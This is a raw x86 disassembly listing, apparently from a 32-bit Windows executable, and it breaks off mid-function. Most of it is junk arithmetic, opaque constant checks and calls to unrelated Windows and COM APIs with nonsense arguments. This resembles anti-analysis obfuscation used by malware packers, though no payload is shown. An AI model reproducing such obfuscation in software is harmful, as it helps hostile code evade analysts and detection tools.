mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x8850]
sub ecx, dword [ebp - 0x115a4]
mov edx, dword [ebp - 0xd1e4]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd434]
sub eax, ecx
mov word [ebp - 0x1814], ax
mov edx, dword [ebp - 0x71a8]
add edx, dword [section..data]
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
mov ecx, dword [ebp - 0x71a8]
sub ecx, dword [section..data]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x71a8]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x71a8]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1814]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xd434], ax
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x125c9], cl
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x115a4]
mov eax, dword [ebp - 0xedd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x115a4]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x96a4], edx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [section..data]
or ecx, dword [eax]
mov dword [ebp - 0x71a8], ecx
mov edx, dword [ebp - 0x3e58]
mov eax, dword [section..data]
xor eax, dword [edx]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [ecx]
shl edx, cl
mov dword [section..data], edx
movzx eax, word [ebp - 0x1814]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xd434], ax
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
and eax, dword [ebp - 0x96a4]
mov ecx, dword [ebp - 0xedd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x71a8]
add edx, dword [section..data]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
add edx, dword [section..data]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
jmp 0x403929
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
mov dword [ebp - 0x14c04], edx
cmp dword [ebp - 0x14c04], 0xdb
je 0x403d81
jmp 0x403e69
lea eax, [ebp - 0x125c9]
push eax
push 0x75
push str.C:embalmerosiveOrthogonally_achieved
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov dword [ebp - 0x133ac], eax
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x115a4]
mov eax, dword [ebp - 0xedd4]
mov dword [eax], edx
movsx ecx, word [ebp - 0x84e8]
add ecx, 0x4208
cmp ecx, 0x71b7
jge 0x403e34
movsx edx, word [ebp - 0x84e8]
mov dword [ebp - 0x14c08], edx
cmp dword [ebp - 0x14c08], 0x221c
je 0x403de1
jmp 0x403e16
movzx eax, word [ebp - 0xd434]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1814], ax
lea eax, [ebp - 0x390]
push eax
mov ecx, dword [ebp - 0x14ae0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov dword [ebp - 0x10284], eax
jmp 0x403e32
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], al
jmp 0x403e67
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x71a8]
sub edx, dword [section..data]
cmp ecx, edx
jg 0x403e67
movsx eax, word [ebp - 0x84e8]
xor eax, 0x3e9e
mov word [ebp - 0x84e8], ax
jmp 0x403e8d
mov cl, byte [ebp - 0x8bbd]
mov byte [ebp - 0xb7e], cl
lea edx, [ebp - 0x8850]
mov dword [ebp - 0x8c8c], edx
lea eax, [ebp - 0x71a8]
mov dword [ebp - 0xad30], eax
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x125c9]
or edx, eax
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1814]
movzx ecx, word [ebp - 0xd434]
shl edx, cl
mov eax, dword [ebp - 0x2548]
mov word [eax], dx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
add eax, dword [section..data]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1814]
movzx eax, word [ebp - 0xd434]
and edx, eax
mov ecx, dword [ebp - 0x2548]
mov word [ecx], dx
movzx edx, byte [ebp - 0x125c9]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x9ac4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xd1e4]
add edx, dword [eax]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0xad30]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [section..data]
add ecx, dword [eax]
mov dword [ebp - 0x71a8], ecx
mov edx, dword [ebp - 0x6974]
mov eax, dword [section..data]
sub eax, dword [edx]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0xbd04]
add ecx, 0xe2
mov dword [ebp - 0xbd04], ecx
mov edx, dword [ebp - 0xad30]
mov eax, dword [ebp - 0x71a8]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
movsx edx, word [ebp - 0x84e8]
sar edx, 8
mov word [ebp - 0x84e8], dx
mov eax, dword [ebp - 0x71a8]
or eax, dword [section..data]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x125c9], al
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1814]
and ecx, edx
mov eax, dword [ebp - 0x2548]
mov word [eax], cx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x115a4]
sub edx, dword [ecx]
mov dword [ebp - 0x8850], edx
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [ebp - 0x115a4]
add ecx, dword [eax]
mov dword [ebp - 0x8850], ecx
movzx edx, byte [ebp - 0x125c9]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x9ac4]
mov byte [eax], dl
movzx ecx, word [ebp - 0xd434]
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1814], cx
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ecx]
and edx, dword [section..data]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xedd4]
add ecx, dword [edx]
mov dword [ebp - 0x8850], ecx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x71a8]
mov dword [section..data], ecx
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
add eax, dword [ecx]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], eax
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], al
movzx edx, word [ebp - 0xd434]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1814], dx
mov edx, dword [ebp - 0x8850]
or edx, dword [ebp - 0x115a4]
mov eax, dword [ebp - 0x8c8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xad30]
mov edx, dword [section..data]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x71a8], edx
movsx eax, word [ebp - 0x84e8]
sar eax, 7
mov word [ebp - 0x84e8], ax
mov ecx, dword [ebp - 0x71a8]
and ecx, dword [section..data]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
sub ecx, edx
mov eax, dword [ebp - 0x2548]
mov word [eax], cx
movsx ecx, byte [ebp - 0xb7e]
movsx edx, byte [ebp - 0x8bbd]
add ecx, edx
mov byte [0x51ce07], cl
mov eax, dword [ebp - 0x8850]
sub eax, dword [ebp - 0x115a4]
mov dword [ebp - 0x96a4], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [section..data]
add edx, dword [ecx]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6974]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ebp - 0x8850]
and edx, dword [ecx]
mov dword [ebp - 0x96a4], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x71a8]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
cmp dword [ebp - 0xbd04], 0x8231
jbe 0x403e8d
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
mov dword [ebp - 0x14c0c], ecx
cmp dword [ebp - 0x14c0c], 0x45e46051
je 0x404222
jmp 0x40426c
lea edx, [ebp - 0x2b30]
push edx
lea eax, [ebp - 0x54c8]
push eax
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x31bc], eax
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ebp - 0xedd4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [section..data]
and eax, dword [edx]
mov dword [ebp - 0x71a8], eax
jmp 0x510dd3
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x71a8]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
lea ecx, [ebp - 0xd434]
mov dword [ebp - 0xd348], ecx
mov edx, dword [ebp - 0x9ac4]
mov al, byte [edx]
mov byte [ebp - 0xb3c1], al
lea ecx, [ebp - 0x8bbd]
mov dword [ebp - 0xf26c], ecx
mov dword [ebp - 0x10e84], 0xf590
mov dl, byte [ebp - 0xb7e]
mov byte [ebp - 0x14c10], dl
cmp byte [ebp - 0x14c10], 0x80
je 0x4042d5
cmp byte [ebp - 0x14c10], 0x5b
je 0x40434f
jmp 0x40441f
lea eax, [ebp - 0x84e8]
mov dword [ebp - 0x49b0], eax
mov ecx, dword [ebp - 0x115a4]
mov dword [ebp - 0x67dc], ecx
mov dword [ebp - 0x69e4], 0xcaac
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
mov dword [ebp - 0xa850], eax
mov dword [ebp - 0xbe90], 0x8bb7
movsx ecx, word [ebp - 0x84e8]
mov edx, dword [ebp - 0x49b0]
movsx eax, word [edx]
sub ecx, eax
mov word [0x51b004], cx
lea ecx, [ebp - 0xd434]
mov dword [ebp - 0x4888], ecx
movzx edx, byte [ebp - 0xb3c1]
movzx eax, byte [ebp - 0x125c9]
add edx, eax
mov byte [ebp - 0x3b89], dl
jmp 0x40441f
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x84e8]
sub edx, eax
movsx ecx, word [0x51b004]
cmp edx, ecx
jge 0x40441f
mov edx, dword [ebp - 0x8850]
mov dword [ebp - 0x14c14], edx
cmp dword [ebp - 0x14c14], 0xa58b7a5e
je 0x404399
cmp dword [ebp - 0x14c14], 0xdef525fc
je 0x404407
jmp 0x40441f
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [ebp - 0x115a4]
add ecx, dword [eax]
mov edx, dword [ebp - 0xedd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xa850], edx
lea eax, [ebp - 0x2b30]
push eax
lea ecx, [ebp - 0x5800]
push ecx
call dword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [ebp - 0xc698], eax
movzx edx, word [ebp - 0x84e8]
push edx
movzx eax, word [ebp - 0xd434]
push eax
mov ecx, dword [ebp - 0x49b0]
mov dx, word [ecx]
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
call fcn.00511530
jmp 0x40441f
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0xad30]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1814]
sub eax, ecx
movzx edx, word [ebp - 0xd434]
mov ecx, dword [ebp - 0x4888]
movzx ecx, word [ecx]
shl edx, cl
cmp eax, edx
je 0x4044d0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [ebp - 0xedd4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x67dc]
shr eax, cl
mov dword [ebp - 0x115a4], eax
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x2548]
mov word [eax], dx
lea ecx, [ebp - 0xf26c]
push ecx
lea edx, [ebp - 0x126f8]
push edx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [ebp - 0xa51c], eax
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x9ac4]
mov byte [edx], cl
mov eax, dword [ebp - 0x71a8]
add eax, dword [ebp - 0xa850]
mov dword [section..data], eax
jmp 0x404604
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x115a4]
or edx, dword [ecx]
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x67dc]
cmp edx, ecx
jb 0x404604
mov edx, dword [ebp - 0xa850]
mov dword [ebp - 0x10df0], edx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
mov dword [ebp - 0x14c18], ecx
cmp dword [ebp - 0x14c18], 0x66aa0366
je 0x40451f
jmp 0x4045e2
lea edx, [ebp - 0xa51c]
push edx
lea eax, [ebp - 0x3954]
push eax
call dword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [ebp - 0x31bc], eax
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov dword [ebp - 0x14c1c], edx
cmp dword [ebp - 0x14c1c], 0x2c2c89e5
je 0x404561
cmp dword [ebp - 0x14c1c], 0x5c2364aa
je 0x4045bb
jmp 0x4045e0
mov eax, dword [ebp - 0x115a4]
sub eax, dword [ebp - 0x96a4]
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
sub eax, dword [ebp - 0x71a8]
mov dword [ebp - 0x10df0], eax
lea ecx, [ebp - 0xc698]
push ecx
push 0x2d
lea edx, [ebp - 0x31bc]
push edx
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0x7860], eax
mov eax, dword [ebp - 0xa850]
add eax, dword [ebp - 0x10df0]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
jmp 0x4045e0
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
push edx
mov edx, dword [ebp - 0x84e8]
mov ecx, dword [ebp - 0x115a4]
call fcn.00511530
jmp 0x404604
mov dword [ebp - 0xbd00], 0x51b004
lea eax, [ebp - 0xb7e]
mov dword [ebp - 0x4c80], eax
lea ecx, [ebp - 0xb3c1]
mov dword [ebp - 0x4134], ecx
mov dl, byte [ebp - 0x3b89]
mov byte [ebp - 0x14c20], dl
cmp byte [ebp - 0x14c20], 0
je 0x404687
cmp byte [ebp - 0x14c20], 0x49
je 0x404627
jmp 0x510d5d
mov eax, dword [ebp - 0xad30]
mov ecx, dword [section..data]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
movzx eax, word [ebp - 0xd434]
mov ecx, dword [ebp - 0x4888]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x1814], ax
movzx eax, byte [ebp - 0x125c9]
mov ecx, dword [ebp - 0x4134]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x308c]
mov byte [edx], al
mov eax, dword [ebp - 0x8850]
or eax, dword [ebp - 0x96a4]
mov dword [ebp - 0x67dc], eax
jmp 0x510d5d
mov ecx, dword [ebp - 0xf26c]
mov dl, byte [ecx]
mov byte [ebp - 0x14c24], dl
cmp byte [ebp - 0x14c24], 0x7e
je 0x4046a0
jmp 0x404707
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0xad30]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
push 1
lea ecx, [ebp - 0xd1e4]
push ecx
lea edx, [ebp - 0x5800]
push edx
call dword [sym.imp.ole32.dll_OleGetIconOfClass]
mov dword [ebp - 0x60d0], eax
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0xa850]
xor ecx, dword [eax]
mov dword [ebp - 0x71a8], ecx
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x8c8c]
mov dword [edx], eax
jmp 0x510d1e
mov eax, dword [ebp - 0x9ac4]
mov cl, byte [eax]
mov byte [ebp - 0x14c28], cl
cmp byte [ebp - 0x14c28], 0
je 0x404730
cmp byte [ebp - 0x14c28], 0xf3
je 0x404820
jmp 0x404872
movzx edx, word [ebp - 0xd434]
movzx eax, word [ebp - 0x1814]
add edx, eax
mov ecx, dword [ebp - 0x4888]
mov word [ecx], dx
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
mov dword [ebp - 0x14c2c], eax
cmp dword [ebp - 0x14c2c], 0x9846ccf
je 0x40480a
cmp dword [ebp - 0x14c2c], 0x1f42c29d
je 0x404778
jmp 0x40481e
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
mov dword [ebp - 0x14c30], edx
cmp dword [ebp - 0x14c30], 0x650b
je 0x404795
jmp 0x4047ee
push 0x83
lea eax, [ebp - 0x49b0]
push eax
push 0x9c
lea ecx, [ebp - 0x1814]
push ecx
lea edx, [ebp - 0x126f8]
push edx
lea eax, [ebp - 0xde24]
push eax
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0x5a54], eax
mov ecx, dword [ebp - 0xbd00]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x84e8]
mov ecx, dword [ebp - 0x67dc]
call fcn.00511530
jmp 0x404808
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3b89]
and eax, ecx
mov edx, dword [ebp - 0x9ac4]
mov byte [edx], al
jmp 0x40481e
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xa850]
mov dword [ebp - 0x10df0], ecx
jmp 0x404872
lea edx, [ebp - 0xd434]
push edx
lea eax, [ebp - 0xde24]
push eax
lea ecx, [ebp - 0x125c9]
push ecx
call dword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [ebp - 0xa51c], eax
mov edx, dword [ebp - 0x3e58]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
add eax, dword [ecx]
mov edx, dword [ebp - 0xad30]
mov dword [edx], eax
mov eax, dword [ebp - 0x49b0]
movsx ecx, word [eax]
movsx edx, word [0x51b004]
sub ecx, edx
mov word [ebp - 0x84e8], cx
movzx eax, byte [ebp - 0x125c9]
movzx ecx, byte [ebp - 0x3b89]
add eax, ecx
movzx edx, byte [ebp - 0xb3c1]
mov ecx, dword [ebp - 0x4134]
movzx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jle 0x4048c0
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1814]
push ecx
mov edx, dword [ebp - 0x84e8]
mov ecx, dword [ebp - 0x67dc]
call fcn.00511530
jmp 0x404970
lea edx, [ebp - 0xb7e]
mov dword [ebp - 0x121f0], edx
mov ax, word [ebp - 0xd434]
mov word [ebp - 0x119a8], ax
movsx ecx, word [ebp - 0x84e8]
mov dword [ebp - 0x14c34], ecx
cmp dword [ebp - 0x14c34], 0
je 0x4048f2
jmp 0x40495a
mov dl, byte [ebp - 0xb7e]
mov byte [ebp - 0x14c38], dl
cmp byte [ebp - 0x14c38], 0x30
je 0x404909
jmp 0x404958
push 0xb3
lea eax, [ebp - 0x8c8c]
push eax
lea ecx, [ebp - 0x11698]
push ecx
call dword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [ebp - 0x13718], eax
movzx edx, byte [ebp - 0x3b89]
movzx eax, byte [ebp - 0xb3c1]
sub edx, eax
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xedd4]
mov eax, dword [ebp - 0x8c8c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x96a4], edx
jmp 0x404970
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x115a4]
mov edx, dword [ebp - 0x8c8c]
mov dword [edx], ecx
cmp dword [ebp - 0x69e4], 0xcad8
je 0x404c95
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [ebp - 0xad30]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [section..data], edx
mov eax, dword [ebp - 0x69e4]
add eax, 4
mov dword [ebp - 0x69e4], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x71a8]
or edx, dword [ecx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x71a8]
mov dword [ebp - 0x13718], ecx
movzx edx, word [ebp - 0x119a8]
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1814], dx
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3b89]
add eax, ecx
mov edx, dword [ebp - 0x308c]
mov byte [edx], al
mov eax, dword [ebp - 0x115a4]
add eax, dword [ebp - 0x67dc]
mov dword [ebp - 0x8850], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x6974]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
add eax, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x115a4]
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x308c]
mov byte [ecx], al
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4888]
mov word [ecx], ax
movsx edx, word [ebp - 0x84e8]
movsx eax, word [0x51b004]
sub edx, eax
mov ecx, dword [ebp - 0x49b0]
mov word [ecx], dx
mov edx, dword [ebp - 0xf26c]
movsx eax, byte [edx]
movsx ecx, byte [0x51ce07]
or eax, ecx
mov edx, dword [ebp - 0x4c80]
mov byte [edx], al
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x96a4], edx
mov eax, dword [ebp - 0x3e58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x13718]
sar edx, cl
mov dword [ebp - 0xa850], edx
movzx eax, byte [ebp - 0x125c9]
movzx ecx, byte [ebp - 0xb3c1]
xor eax, ecx
mov byte [ebp - 0x3b89], al
mov edx, dword [ebp - 0x4888]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd434]
and eax, ecx
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
add ecx, dword [edx]
mov eax, dword [ebp - 0xad30]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xd1e4]
add edx, dword [eax]
mov dword [ebp - 0x96a4], edx
mov ecx, dword [ebp - 0xa850]
sub ecx, dword [ebp - 0x10df0]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [ebp - 0x10df0]
add ecx, dword [eax]
mov dword [ebp - 0x13718], ecx
movzx edx, byte [ebp - 0x125c9]
movzx eax, byte [ebp - 0xb3c1]
and edx, eax
mov ecx, dword [ebp - 0x4134]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x119a8]
add eax, ecx
mov word [ebp - 0xd434], ax
mov edx, dword [ebp - 0xedd4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x67dc]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xad30]
mov eax, dword [ebp - 0x13718]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0xa850]
sub eax, dword [edx]
mov dword [ebp - 0x10df0], eax
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x6974]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [section..data]
xor ecx, dword [ebp - 0x71a8]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0xbd00]
movsx edx, word [eax]
mov eax, dword [ebp - 0x49b0]
movsx ecx, word [eax]
shl edx, cl
mov word [0x51b004], dx
movsx edx, byte [ebp - 0x8bbd]
mov eax, dword [ebp - 0x4c80]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x121f0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3b89]
and eax, ecx
mov edx, dword [ebp - 0x4134]
mov byte [edx], al
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1814]
sub ecx, edx
mov eax, dword [ebp - 0x4888]
mov word [eax], cx
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xedd4]
add edx, dword [eax]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], edx
jmp 0x404970
mov edx, dword [ebp - 0x121f0]
mov al, byte [edx]
mov byte [ebp - 0x14c3c], al
cmp byte [ebp - 0x14c3c], 0x80
je 0x404cbe
cmp byte [ebp - 0x14c3c], 0x40
je 0x404dd7
jmp 0x404def
movsx ecx, byte [ebp - 0xb7e]
movsx edx, byte [ebp - 0x8bbd]
sub ecx, edx
mov eax, dword [ebp - 0x4c80]
movsx edx, byte [eax]
movsx eax, byte [0x51ce07]
